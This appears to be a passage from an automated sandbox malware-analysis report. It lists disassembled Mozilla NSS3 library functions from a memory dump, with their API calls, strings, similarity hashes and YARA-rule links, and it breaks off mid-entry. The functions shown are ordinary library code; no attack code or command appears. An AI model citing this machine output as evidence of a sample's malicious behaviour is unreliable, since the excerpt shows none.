sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C69BE66), ref: 6C7D7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D70A0

Strings

winGetTempname2, xrefs: 6C7D70C4
winGetTempname4, xrefs: 6C7D7046
winGetTempname5, xrefs: 6C7D7071
mz_etilqs_, xrefs: 6C7D6F18
winGetTempname1, xrefs: 6C7D708F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: e958c3a7ac14dceb5ab8a6e993034df3ecb3b7a41aa458b69864209e36e23f46
Instruction ID: 81c9faa115301c565f1c2d6d4599c36057096a9c672c41604e91a7e08d580bf9
Opcode Fuzzy Hash: e958c3a7ac14dceb5ab8a6e993034df3ecb3b7a41aa458b69864209e36e23f46
Instruction Fuzzy Hash: 2D517BB1A0511227E31096349D59FBF36669F9330CF154A38E80696FC1FB25B50EC2E7

Function 6C764FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000,00000000,00000001), ref: 6C765009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C765049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C76505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C765071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7650A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7650B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2), ref: 6C7650CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7650D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7650F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765153
free.MOZGLUE(?), ref: 6C76516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C76517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C765195

Strings

nss=, xrefs: 6C765083
parameters=, xrefs: 6C76506B
name=, xrefs: 6C765057
config=, xrefs: 6C76509B
library=, xrefs: 6C765043

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 39d9b90b73b798c89d8af8cd60e21a905314a655dd24b761c861e15e1f10e528
Instruction ID: 528918dff985075ac30360b31387b49fa58e6f215bbb46e823cbb333f095640f
Opcode Fuzzy Hash: 39d9b90b73b798c89d8af8cd60e21a905314a655dd24b761c861e15e1f10e528
Instruction Fuzzy Hash: 3151D7B5A011069BEB91CF21EE45A9A37A8AF0534CF140030EC55E7F42E725E919DBF2

Function 6C738E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C738E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C738EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738EB3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C738EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C738EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C738F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738F29
PR_LogPrint.NSS3(?,00000000), ref: 6C738F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C738F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738F80
PR_LogPrint.NSS3(?,00000000), ref: 6C738F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C738FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C738FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C739047

Strings

pWrappedKey = 0x%p, xrefs: 6C738FAD
hKey = 0x%x, xrefs: 6C738F5B, 6C738F6B
hSession = 0x%x, xrefs: 6C738E8E, 6C738E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6C739042
C_WrapKey, xrefs: 6C738E71
hWrappingKey = 0x%x, xrefs: 6C738F01, 6C738F11
(CK_INVALID_HANDLE), xrefs: 6C738EAC, 6C738F1F, 6C738F79
pMechanism = 0x%p, xrefs: 6C738EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C738FC8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: c135ada4d5631a23059e35de5f1429dd132b3254ffbd1b2d6a3d185d054d6df1
Instruction ID: 3a6e966f6fad2ba2b6432c7a4f97ca28f74c3f80166928dd962cd570f2ab768f
Opcode Fuzzy Hash: c135ada4d5631a23059e35de5f1429dd132b3254ffbd1b2d6a3d185d054d6df1
Instruction Fuzzy Hash: D651C831506126ABDB218F549F4CFAA37B6AB4230CF046476F50DABA13D738A858C7D1

Function 6C764C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C5B
PR_smprintf.NSS3(6C83AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C764D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C764DA2
free.MOZGLUE(?), ref: 6C764DB9
free.MOZGLUE(00000000), ref: 6C764DCF

Strings

slotFlags, xrefs: 6C764D34
%s,%s, xrefs: 6C764C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C764D9D
0x%08lx=[%s %s], xrefs: 6C764D80
timeout, xrefs: 6C764C91
rust, xrefs: 6C764D22
ootT, xrefs: 6C764D1A
any, xrefs: 6C764C96
rootFlags, xrefs: 6C764D47
every, xrefs: 6C764CA1

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 929e4a180db0324d926b0607c965fd00d079cf4b2cff79f8e8df7d11da6997cb
Instruction ID: b3e020d9dd0c59cb4d87edcef50044eacd49febd3d02028fdb427e00ba5f9319
Opcode Fuzzy Hash: 929e4a180db0324d926b0607c965fd00d079cf4b2cff79f8e8df7d11da6997cb
Instruction Fuzzy Hash: BE4189B1D00141ABDB22DF5ADE45ABB3A65AB8630CF484534EC1A0BF02E731D828D7D3

Function 6C746CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C746943
Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C746957
Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C746972
Part of subcall function 6C746910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C746983
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7469AA
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7469BE
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7469D2
Part of subcall function 6C746910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7469DF
Part of subcall function 6C746910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C746A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C746D8C
free.MOZGLUE(00000000), ref: 6C746DC5
free.MOZGLUE(?), ref: 6C746DD6
free.MOZGLUE(?), ref: 6C746DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C746E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746E72
free.MOZGLUE(?), ref: 6C746EA7
free.MOZGLUE(?), ref: 6C746EC4
free.MOZGLUE(?), ref: 6C746ED5
free.MOZGLUE(00000000), ref: 6C746EE3
free.MOZGLUE(?), ref: 6C746EF4
free.MOZGLUE(?), ref: 6C746F08
free.MOZGLUE(00000000), ref: 6C746F35
free.MOZGLUE(?), ref: 6C746F44
free.MOZGLUE(?), ref: 6C746F5B
free.MOZGLUE(00000000), ref: 6C746F65

Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C74781D,00000000,6C73BE2C,?,6C746B1D,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C40
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C74781D,?,6C73BE2C,?), ref: 6C746C58
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C6F
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C746C84
Part of subcall function 6C746C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C746C96
Part of subcall function 6C746C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C746CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C746FF4

Strings

+`ul, xrefs: 6C746D0D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`ul
API String ID: 1304971872-149724355
Opcode ID: ba7b43eb22fdb655eed3cdf8ebc625b8e5fb97716ffe7b8d499c79f8644ea67a
Instruction ID: 8e028db3aef966e97892b46853b994a0bef8a64abe75329dc474614a6ffe7d07
Opcode Fuzzy Hash: ba7b43eb22fdb655eed3cdf8ebc625b8e5fb97716ffe7b8d499c79f8644ea67a
Instruction Fuzzy Hash: 28B182B4E012199FEF11CBA5DA45B9E7BF9BF09348F148035E815E7A01E735EA04CBA1

Function 6C70DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70DDDE

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C70DDF5

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C70DE34
PR_Now.NSS3 ref: 6C70DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C70DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C70DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C70DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C70DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C70DEF0
PR_smprintf.NSS3(6C83AAF9,(NULL) (Validity Unknown)), ref: 6C70DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C70DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C70DF33
free.MOZGLUE(00000000), ref: 6C70DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70DF4B
free.MOZGLUE(00000000), ref: 6C70DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C70DEFA
{???}, xrefs: 6C70DE8B
%s%s, xrefs: 6C70DEEB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: b8b56a2b1316ab8f66d227cf5f71d691179cbef7017cb991437071205fcd1224
Instruction ID: a80f09fec3de06f2e563000c38b4df9a61e9f1f109901bc5beb21d88da263b29
Opcode Fuzzy Hash: b8b56a2b1316ab8f66d227cf5f71d691179cbef7017cb991437071205fcd1224
Instruction Fuzzy Hash: 6D5191F1E002059BDB10DE659E45AAE7BE9AF95358F144438EC19E7B00E730E914CBE5

Function 6C742D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C742DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C742E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C742E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C742E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C,?,-00000001,00000000,?), ref: 6C742E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C,?,-00000001,00000000), ref: 6C742E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EF8
PR_Unlock.NSS3(?), ref: 6C742F62
TlsGetValue.KERNEL32 ref: 6C742F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C742F9E
PR_Unlock.NSS3(?), ref: 6C742FCA
TlsGetValue.KERNEL32 ref: 6C74301A
EnterCriticalSection.KERNEL32(?), ref: 6C74302E
PR_Unlock.NSS3(?), ref: 6C743066
PR_SetError.NSS3(00000000,00000000), ref: 6C743085
PR_Unlock.NSS3(?), ref: 6C7430EC
TlsGetValue.KERNEL32 ref: 6C74310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C743124
PR_Unlock.NSS3(?), ref: 6C74314C

Part of subcall function 6C729180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C75379E,?,6C729568,00000000,?,6C75379E,?,00000001,?), ref: 6C72918D
Part of subcall function 6C729180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C75379E,?,6C729568,00000000,?,6C75379E,?,00000001,?), ref: 6C7291A0

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C74316D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: f2e4eef44b5bfbc992bf16197c2fb5e1701c9e9118a417ac9e894869d32b1b01
Instruction ID: ad52e606442738fb69f9cbd3010cb15feba9226b7a46cc4366883fff21151961
Opcode Fuzzy Hash: f2e4eef44b5bfbc992bf16197c2fb5e1701c9e9118a417ac9e894869d32b1b01
Instruction Fuzzy Hash: C5F1ACB1D00619AFDF10DF64D988BADBBB5BF09318F548169EC08A7711E731E895CB81

Function 6C73AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C73AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AF83

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C73AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C73AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C73AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C73B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C73B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C73B041

Strings

ulDataLen = %d, xrefs: 6C73B00A
pParameter = 0x%p, xrefs: 6C73AFB9
pData = 0x%p, xrefs: 6C73AFEF
pSignature = 0x%p, xrefs: 6C73B023
C_SignMessage, xrefs: 6C73AF41
pulSignatureLen = 0x%p, xrefs: 6C73B03C
ulParameterLen = 0x%p, xrefs: 6C73AFD4
hSession = 0x%x, xrefs: 6C73AF5E, 6C73AF6E
(CK_INVALID_HANDLE), xrefs: 6C73AF7C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 935a883cf4fb29e9bd7df06bc2c5863f055b6fd8e5d365302f0ac29d3d05daf2
Instruction ID: 2a8690727917bfef1fb13c0214f31028a2c8f32183d96be49c625f10b30fd78e
Opcode Fuzzy Hash: 935a883cf4fb29e9bd7df06bc2c5863f055b6fd8e5d365302f0ac29d3d05daf2
Instruction Fuzzy Hash: 3841E435605025AFDB208F54DF4CEA937B5AB4235DF086474F4085BB12C73CA858DBE5

Function 6C729FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C729FBE

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C72A015

